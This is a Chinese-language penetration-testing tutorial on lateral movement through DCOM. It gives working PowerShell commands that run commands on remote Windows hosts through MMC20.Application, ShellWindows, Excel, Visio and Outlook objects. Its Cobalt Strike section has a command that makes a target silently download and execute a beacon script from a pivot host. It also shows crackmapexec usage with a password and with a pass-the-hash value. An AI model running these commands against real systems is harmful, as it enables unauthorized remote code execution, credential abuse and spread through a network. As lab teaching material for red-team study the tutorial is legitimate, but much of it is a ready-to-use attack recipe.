DCOM理解
Distributed Component Object Model缩写DCOM,译为分布式组件对象模型,这里可以拆成两个概念,就是分布式和组件对象模型。
组件对象模型即COM对象模型,类似于DLL的另一种表现形式,写好的组件,其中包含了相关功能的函数以供调用,也可以理解为Windows提供的工具集或者接口集合。
组件之间可以相互调用,就像编程语言里的函数可以调用另一个函数,本地系统组件之间的调用可以叫COM,而不同系统之间的调用、网络间系统之间的组件调用,则可以叫DCOM,分布式就可理解成网络。
总结DCOM:计算机通过网络在另一台计算机上运行程序。
DCOM列表获取
Powershell中通过Get-CimInstance Win32_DCOMApplication命令可以获取Dcom程序列表,这个命令在Powershell3.0以上版本存在,系统在Windows Server2012及以上。
Powershell3.0及以下,可以使用Get-WmiObject命令来代替:
命令向下兼容,Powershell3.0以上同样也支持Get-WmiObject:
DCOM组件方法获取
组件中包含了很多方法,可以用Get-Member查看,该命令用来获取对象的成员和属性,使用方式是把对象以管道的形式给Get-Member,例如MMC:
# PS3.0以上:构建一个MMC对象
$m = [System.Activator]::CreateInSTANCE([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
# 查看MMC对象的属性和方法
$m.Document.ActiveView | Get-Member
DCOM本地执行命令测试
上面MMC组件中有一个ExecuteShellCommand方法,该方法可用来执行命令,参数详细介绍可以看下官方说明:
https://docs.microsoft.com/zh-cn/previous-versions/windows/desktop/mmc/view-executeshellcommand?redirectedfrom=MSDN
命令及示例如下:
$m = [System.Activator]::CreateInSTANCE([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$m.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","Minimzed")
第一个参数接收的是要运行的命令,也相当于调用一个exe文件,第二个参数指定工作目录,空则代表当前目录,第三个指定的是命令的参数,第四个指的窗口的状态,我看文档中给了三个值:Minimzed、Maximized、Restored。经过测试,如果是Minimzed,则cmd窗口会在最小化的时候执行命令,Maximized是窗口最大化然后执行命令,Restored就是正常的运行cmd默认窗口然后执行命令。
实际效果命令执行后窗口就关了,眼看都一样,都是闪一下,实际中可以使用Minimzed。
上面两条语句是PS3.0以上的方法,如果目标机PS版本不符合,则命令不会执行,3.0及以下用法如下:
$a = [Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"127.0.0.1"))
$a.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:windowssystem32",$null,0)
PS3.0以下通过指定ID来进行调用,命令中9B那一长串代表的是ShellWindows组件,通过下面的组件列表查询的内容可以看到:
这种查看组件方法也类似:
其中有一个ShellExecute方法,该方法参数详细说明可参考官方文档:
https://docs.microsoft.com/en-us/windows/win32/shell/shell-shellexecute
执行效果如下:
通常情况下需要使用DCOM调用其它机器组件来执行一些任务,而使用方法和上面本地示例是一样的,只需要把IP换成目标IP即可。
注意点1:自己当前机器需要是管理员身份,否则不能调用目标机的组件。
注意点2:目标机防火墙要关闭,或者是入站规则允许Com组件动态的端口入站。
如果防火墙开启的话,会报类似下面这个错误:
DCOM在CS中的应用
思路基本就是利用组件在目标机执行命令来上线,比如CS生成Powershell命令,这里测试环境的目标机不出网,ip是138,但可以和机器143通信,143已经上线,以143为跳板来测试。
143有个Web服务,这里就在143上设置个监听,生成一个PS脚本挂上面,让138下载执行,命令如下:
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39','192.168.52.138')).item().Document.Application.ShellExecute('powershell',"-nop -w hidden -c iex(New-Object Net.WebClient).DownloadString('http://192.168.52.143/beacon.ps1')",'c:windowssystem32',$null,0)
这里可以直接进入远程桌面的powershell执行上面命令,也可以beacon中交互执行,但powershell直接跟命令,可能会因为一些符号出现问题:
其实本质还是在执行powershell命令,这个也有个CS插件,但用着也碰到了一些问题,感兴趣可参考:
https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/
Impacket-dcomexec应用
Impacket包中带有dcomexec,用法基本和psexec、wmiexec都差不多,在获取账号密码的情况下,使用object参数指定组件即可:
如果没获取到密码,只有hash,也可以使用hashes指定hash使用:
Crackmapexec应用
Crackmapexec没有交互式shell选项,设计的就是针对多目标的,但也有其它方法可获取,回头总结cme使用时再列举下,这里看下cmd的mmcexec用法:
# 明文用法
crackmapexec smb --exec-method mmcexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.204.183
# Hash用法
crackmapexec smb --exec-method mmcexec -d . -u Administrator -H aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 -x "whoami" 192.168.204.183
其它可执行命令的组件
除了常见的mmc、shellWindows自带组件外,还有一些其它组件也支持命令执行,像excel、visio、outlook等。下面是从网上搜集来的,这里没有具体测试,参考如下:
1,Excel.Application
# 创建Excel.Application实例
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.52.138"))
$com.DisplayAlerts = $false
# 调用DDEInitiate方法
$com.DDEInitiate("cmd","/c calc")
2,ShellBrowserWindow
# 创建Excel.Application实例,这里是CLSID的方式
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.52.138"))
# 调用shellExecute方法
$com.Document.Application.shellExecute("calc")
3,Visio.Application
# 创建Visio.Application实例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.52.138"))
# 调用shellExecute方法
$com.[0].Document.Application.shellExecute("calc.exe")
4,Outlook.Application
# 创建Visio.Application对象
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.52.138"))
# 调用Outlook创建Shell.Application对象
$com.createObject("Shell.Application").shellExecute("C:shell.exe")
总结
很多工具有不同的适应系统,有的在Linux上执行效果就没问题,但在Windows上多多少少会有一些未知错误,向impacket、crackmapexec,而有的可能就Windows执行效果好,如果用法没错,报错又搜不到解决办法,可以切换下平台试试。
本文始发于微信公众号(aFa攻防实验室):使用DCOM进行横向渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论